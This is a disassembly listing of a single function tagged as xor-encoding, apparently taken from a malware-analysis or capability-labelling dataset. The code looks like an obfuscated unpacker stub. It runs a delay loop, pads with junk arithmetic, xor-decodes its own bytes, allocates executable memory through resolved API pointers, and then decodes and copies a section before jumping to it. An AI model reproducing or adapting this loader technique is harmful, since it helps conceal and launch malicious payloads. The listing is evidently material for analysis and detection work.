Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc3a2575c
sub edx, 0xd050e684
and ebx, ebx
popal
and edx, edx
not ebx
or edx, edx
mov edx, 0
mov ebx, esi
add eax, 0x17d9559d
add edi, eax
add edi, eax
mov ecx, ebx
or edi, eax
mov eax, edi
and eax, edi
mov esi, ecx
add eax, 0x295c2d96
add eax, eax
or eax, eax
add edx, 1
mov edi, 0xc4612100
sub eax, 0x299297ae
cmp edx, 0x1009e59
jne 0xa789c6
mov eax, 0xbde9444a
add edi, edi
and edi, eax
mov ebx, 0xc3a5e49c
mov edx, ebx
sub edx, 0x7b238b97
mov eax, 0xa78796
sub ecx, 0x7f6bc1ba
dec edi
inc ecx
mov edx, 0xa7898a
inc ecx
mov ecx, 0xe96d83c7
mov ebx, dword [eax]
inc ecx
add edi, 0xce8c4496
and ebx, 0xff
mov edi, ecx
inc esi
not edi
xor dword [edx], ebx
add edi, 0xfb20b301
not ecx
add ecx, 0xef3623f5
inc edx
or ecx, edi
sub esi, 0x6db2457d
inc eax
sub ecx, edi
not ecx
dec edi
cmp edx, entry0
jl 0xa78a31
add ecx, 0x13ed5cd7
mov edi, ecx
sub esi, ecx
inc esi
add edi, 0xb33f21c
add esi, edi
mov ebx, 0x4cc3c9b7
mov ecx, edi
mov edi, 0x39d174f8
mov edx, 0xa7898e
sub ecx, edi
add ecx, ebx
add ebx, 0x649bcfab
mov edx, dword [edx]
add edi, 0x23cd0c53
mov esi, edi
and edi, ebx
mov edx, dword [edx]
inc esi
and ecx, esi
push edx
and ecx, ebx
or edi, edi
mov edx, 0xa7898a
not ecx
sub esi, ecx
mov edx, dword [edx]
add ebx, edi
inc ebx
mov edx, dword [edx]
sub ecx, 0xe5628f85
sub esi, edi
push 0xa78992
inc ebx
and ecx, esi
add ecx, edi
call edx
inc ecx
add ebx, esi
pop edx
add esi, 1
and esi, ebx
push 0xa7899f
dec esi
mov edi, 0x2e11cf0d
and ecx, edi
push eax
add ebx, 0xb72d5946
add esi, 0xc59e01d4
and esi, esi
call edx
add esi, 0xabbf623
dec ebx
sub esp, 4
mov dword [esp], 0x40
sub edi, 1
sub ecx, ebx
add ecx, 0x73e45a24
sub esp, 4
mov dword [esp], 0x3000
add edi, edi
sub edi, esi
inc edi
push 0x20000995
dec ecx
not ebx
mov esi, 0x44469eb
push 0
and esi, ebx
mov ebx, 0xd3f6b2dd
inc ecx
call eax
add ebx, esi
and edi, edi
dec ecx
add eax, 0x200008e0
and esi, ecx
add ebx, edi
mov edx, 0xd9c1feff
mov esi, ebx
sub edi, ecx
dec edi
mov dword [eax], edx
inc ebx
sub edi, 1
mov edx, dword [eax]
inc ecx
mov ebx, ecx
sub edi, 0x2365c1ff
cmp edx, 0xd9c1feff
je 0xa78b88
mov ecx, 0
mov byte [ecx], al
and esi, ecx
add esi, edi
add edi, 0xd3fb031b
sub edi, 1
add ebx, ebx
mov edx, ebx
or edx, edx
mov eax, section..reltc
or edx, edx
not edx
sub edx, 0x3435baa8
mov ecx, 0xa78795
or edx, edx
inc ebx
mov esi, 0
and ebx, edx
and ebx, edx
mov ebx, edx
mov edi, 0xa78796
or edx, ebx
mov ebx, edx
and ebx, ebx
lea edi, [edi + esi]
dec ebx
dec edx
mov edi, dword [edi]
sub ebx, edx
add edx, 1
and edx, edx
and edi, 0xff
and edx, edx
not ebx
sub ebx, 0xa5086b0
inc esi
mov edx, 0xb8e33461
sub ebx, 0x6ce86061
cmp esi, 0x1f4
jne 0xa78c05
mov esi, 0
mov edx, ebx
mov edx, 0xbda331e4
or edx, edx
dec edx
sub edx, ebx
add edx, 0x6bf1ed49
xor dword [eax], edi
dec ebx
not edx
sub ebx, edx
add eax, 2
or edx, ebx
sub edx, 0x4e7425ea
dec ebx
cmp eax, ecx
jl 0xa78bc0
mov edx, 0x14b7f396
dec ebx
sub edx, ebx
sub edx, ebx
inc ebx
mov edx, section..reltc
not edi
add ecx, ecx
and edi, edi
mov esi, section..reltc
mov ecx, edi
inc ecx
mov eax, 0xa78795
sub ecx, 0x32c81b50
add ecx, 0x3e7eea18
mov ebx, 0
or edi, ecx
add edi, ecx
add ecx, edi
mov bl, byte [esi]
and edi, edi
sub edi, 0xb911fc00
mov byte [edx], bl
mov ecx, edi
not edi
sub ecx, edi
inc edx
dec ecx
add ecx, edi
or edi, edi
add esi, 2
mov edi, ecx
dec edi
cmp esi, eax
jle 0xa78c6f
not edi
add edi, 0xe667c2de
sub edx, 0x9f0495d2
mov edx, ebx
push 0x8dc6a0
mov ebx, edx
sub ebx, 0xa4e69825
ret